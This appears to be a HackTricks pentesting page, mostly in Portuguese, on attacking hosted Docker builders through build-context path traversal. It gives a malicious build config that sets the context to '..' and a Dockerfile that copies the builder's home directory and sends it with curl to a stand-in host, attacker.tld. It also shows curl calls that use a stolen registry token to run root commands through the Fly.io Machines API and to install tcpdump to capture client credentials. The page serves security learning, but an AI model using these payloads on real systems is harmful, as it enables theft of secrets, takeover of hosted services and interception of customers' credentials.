5.3 KiB
Abusing Docker Build Context in Hosted Builders (Path Traversal, Exfil, and Cloud Pivot)
{{#include ../banners/hacktricks-training.md}}
TL;DR
Se uma plataforma CI/CD ou hosted builder permite que contribuidores especifiquem o caminho do Docker build context e o caminho do Dockerfile, frequentemente é possível definir o contexto para um diretório pai (por exemplo, "..") e incluir arquivos do host no build context. Em seguida, um Dockerfile controlado pelo atacante pode usar COPY e exfiltrate secrets encontrados no home do usuário do builder (por exemplo, ~/.docker/config.json). Tokens de registry roubados também podem funcionar contra as control-plane APIs do provedor, permitindo RCE em toda a organização.
Attack surface
Muitos serviços de hosted builder/registry fazem algo nessa linha ao construir imagens submetidas por usuários:
- Ler uma repo-level config que inclui:
- build context path (sent to the Docker daemon)
- Dockerfile path relative to that context
- Copiar o diretório do build context indicado e o Dockerfile para o Docker daemon
- Build the image and run it as a hosted service
Se a plataforma não canonicalize e restrinja o build context, um usuário pode defini-lo para um local fora do repositório (path traversal), fazendo com que arquivos arbitrários do host legíveis pelo build user passem a fazer parte do build context e fiquem disponíveis para COPY no Dockerfile.
Restrições práticas comumente observadas:
- O Dockerfile deve residir dentro do caminho do contexto escolhido e seu caminho deve ser conhecido antecipadamente.
- O build user deve ter acesso de leitura aos arquivos incluídos no contexto; arquivos de dispositivo especiais podem quebrar a cópia.
PoC: Path traversal via Docker build context
Example malicious server config declaring a Dockerfile within the parent directory context:
runtime: "container"
build:
dockerfile: "test/Dockerfile" # Must reside inside the final context
dockerBuildPath: ".." # Path traversal to builder user $HOME
startCommand:
type: "http"
configSchema:
type: "object"
properties:
apiKey:
type: "string"
required: ["apiKey"]
exampleConfig:
apiKey: "sk-example123"
Notas:
- Usar ".." frequentemente resolve para o diretório home do usuário builder (p.ex., /home/builder), que tipicamente contém arquivos sensíveis.
- Coloque seu Dockerfile dentro do diretório com o nome do repo (p.ex., repo "test" → test/Dockerfile) para que ele permaneça dentro do contexto pai expandido.
PoC: Dockerfile para ingerir e exfiltrar o contexto do host
FROM alpine
RUN apk add --no-cache curl
RUN mkdir /data
COPY . /data # Copies entire build context (now builder’s $HOME)
RUN curl -si https://attacker.tld/?d=$(find /data | base64 -w 0)
Alvos comumente recuperados de $HOME:
- ~/.docker/config.json (registry auths/tokens)
- Outros caches e configs de cloud/CLI (e.g., ~/.fly, ~/.kube, ~/.aws, ~/.config/*)
Dica: Mesmo com um .dockerignore no repositório, a seleção de contexto do lado da plataforma vulnerável ainda governa o que é enviado ao daemon. Se a plataforma copiar o caminho escolhido para o daemon antes de avaliar o .dockerignore do seu repo, arquivos do host ainda podem ser expostos.
Pivot na cloud com overprivileged tokens (exemplo: Fly.io Machines API)
Algumas plataformas emitem um único bearer token utilizável tanto para o container registry quanto para a control-plane API. Se você exfiltrate um registry token, tente usá‑lo contra a API do provedor.
Exemplo de chamadas à API contra Fly.io Machines API usando o token roubado de ~/.docker/config.json:
Enumerar apps em uma org:
curl -H "Authorization: Bearer fm2_..." \
"https://api.machines.dev/v1/apps?org_slug=smithery"
Executar um comando como root dentro de qualquer máquina de um app:
curl -s -X POST -H "Authorization: Bearer fm2_..." \
"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
--data '{"cmd":"","command":["id"],"container":"","stdin":"","timeout":5}'
Resultado: remote code execution em toda a organização, afetando todos os apps hospedados quando o token possui privilégios suficientes.
Roubo de segredos de serviços hospedados comprometidos
Com exec/RCE em servidores hospedados, você pode coletar segredos fornecidos pelo cliente (API keys, tokens) ou realizar prompt-injection attacks. Exemplo: instalar tcpdump e capturar tráfego HTTP na porta 8080 para extrair credenciais de entrada.
# Install tcpdump inside the machine
curl -s -X POST -H "Authorization: Bearer fm2_..." \
"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
--data '{"cmd":"apk add tcpdump","command":[],"container":"","stdin":"","timeout":5}'
# Capture traffic
curl -s -X POST -H "Authorization: Bearer fm2_..." \
"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
--data '{"cmd":"tcpdump -i eth0 -w /tmp/log tcp port 8080","command":[],"container":"","stdin":"","timeout":5}'
Requisições capturadas frequentemente contêm client credentials em headers, bodies ou query params.
Referências
- Breaking MCP Server Hosting: Build-Context Path Traversal to Org-wide RCE and Secret Theft
- Fly.io Machines API
{{#include ../banners/hacktricks-training.md}}